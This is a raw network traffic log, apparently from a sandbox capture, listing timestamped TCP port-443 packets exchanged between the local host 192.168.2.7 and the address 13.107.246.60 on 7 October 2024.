Oct 7, 2024 06:44:36.477817059 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.477821112 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.479804993 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.479824066 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.479888916 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.480003119 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.480012894 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.536497116 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.537031889 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.537044048 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.537406921 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.537410975 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.633963108 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.634090900 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.634140015 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.634299994 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.634320021 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.634330988 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.634336948 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.637337923 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.637409925 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.637480974 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.637831926 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.637849092 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.028748989 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.029294014 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.029351950 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.029767036 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.029779911 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.089330912 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.094860077 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.094866991 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.095591068 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.095594883 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.107702017 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.108287096 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.108350039 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.108696938 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.108717918 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.127244949 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.127470970 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.127557039 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.127623081 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.127654076 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.127679110 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.127693892 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.130017042 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.130063057 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.130145073 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.130278111 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.130290031 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.155371904 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.155913115 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.155926943 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.156342983 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.156347990 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.190823078 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.190871954 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.190923929 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.190967083 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.190998077 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.191286087 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.191297054 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.191334963 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.191340923 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.194375038 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.194415092 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.194511890 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.194683075 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.194693089 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.210913897 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.210988998 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.211061954 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.211276054 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.211292028 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.211306095 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.211311102 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.213939905 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.213978052 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.214050055 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.214210987 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.214221001 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.259946108 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.260099888 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.260165930 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.260241032 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.260256052 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.260268927 CEST	49868	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.260273933 CEST	443	49868	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.262870073 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.262924910 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.263003111 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.263145924 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.263168097 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.305948019 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.309032917 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.309076071 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.309617996 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.309634924 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.409137964 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.409178972 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.409235001 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.409296989 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.409351110 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.409631014 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.409652948 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.409663916 CEST	49869	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.409671068 CEST	443	49869	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.413121939 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.413208008 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.413296938 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.413538933 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.413564920 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.769435883 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.814985991 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.815007925 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.815454960 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.815460920 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.859340906 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.872976065 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.901591063 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.911191940 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.911545992 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:37.911598921 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.912399054 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.912411928 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:37.943655968 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.075998068 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.076021910 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.079755068 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.079758883 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.083692074 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.083714962 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.084136963 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.084141970 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.092051983 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.092515945 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.092573881 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.093125105 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.093137026 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.133286953 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.133373976 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.135380030 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.135437012 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.136878014 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.136950970 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.136986017 CEST	49870	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.137003899 CEST	443	49870	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.142532110 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.142565966 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.142622948 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.142848015 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.142862082 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.176268101 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.176599026 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.176662922 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.176703930 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.176723957 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.176781893 CEST	49872	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.176786900 CEST	443	49872	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.179409981 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.179447889 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.179514885 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.179641962 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.179656029 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.184705019 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.184779882 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.184863091 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.184958935 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.184958935 CEST	49871	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.184973001 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.184983015 CEST	443	49871	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.187252998 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.187302113 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.187361002 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.187539101 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.187555075 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.196604967 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.196835041 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.196904898 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.196974993 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.196975946 CEST	49874	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.197012901 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.197040081 CEST	443	49874	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.199259043 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.199279070 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.199331999 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.199491024 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.199502945 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.230431080 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.230551958 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.230607986 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.230756044 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.230797052 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.230809927 CEST	49873	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.230817080 CEST	443	49873	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.233491898 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.233506918 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.233633995 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.233825922 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.233839989 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.791263103 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.791887045 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.791912079 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.792398930 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.792404890 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.816040039 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.816633940 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.816663980 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.817104101 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.817116022 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.835377932 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.835863113 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.835895061 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.836288929 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.836297035 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.867295980 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.867734909 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.867769957 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.868174076 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.868182898 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.886430025 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.886818886 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.886856079 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.887233973 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.887239933 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.892065048 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.892133951 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.892187119 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.892323017 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.892335892 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.892349005 CEST	49875	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.892354012 CEST	443	49875	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.894829035 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.894875050 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.894956112 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.895082951 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.895091057 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.917819023 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.917895079 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.917979002 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.918154001 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.918175936 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.918188095 CEST	49876	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.918194056 CEST	443	49876	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.920696020 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.920734882 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.920814037 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.920955896 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.920968056 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.936887026 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.937098026 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.937151909 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.937161922 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.937201023 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.937248945 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.937268972 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.937279940 CEST	49877	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.937284946 CEST	443	49877	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.939651012 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.939677000 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.939754963 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.939879894 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.939896107 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.969820023 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.969991922 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.970073938 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.970221996 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.970241070 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.970251083 CEST	49878	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.970256090 CEST	443	49878	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.973021030 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.973076105 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.973153114 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.973301888 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.973316908 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.989900112 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.990151882 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.990235090 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.990272999 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.990272999 CEST	49879	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.990292072 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.990303040 CEST	443	49879	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.992830038 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.992873907 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:38.992949009 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.993086100 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:38.993100882 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.681102037 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.681540012 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.681796074 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.681847095 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.681857109 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.682216883 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.682236910 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.682323933 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.682329893 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.682646990 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.682651997 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.682832956 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.682840109 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.683275938 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.683279991 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.687529087 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.687684059 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.687856913 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.687863111 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.688222885 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.688232899 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.688239098 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.688293934 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.688613892 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.688628912 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.780778885 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.780843973 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.780894995 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781196117 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781222105 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781234026 CEST	49880	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781239986 CEST	443	49880	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781673908 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781702995 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781742096 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781754971 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781771898 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781819105 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781919003 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781935930 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.781946898 CEST	49881	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.781951904 CEST	443	49881	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784485102 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.784518003 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784570932 CEST	49886	443	192.168.2.7	13.107.246.60
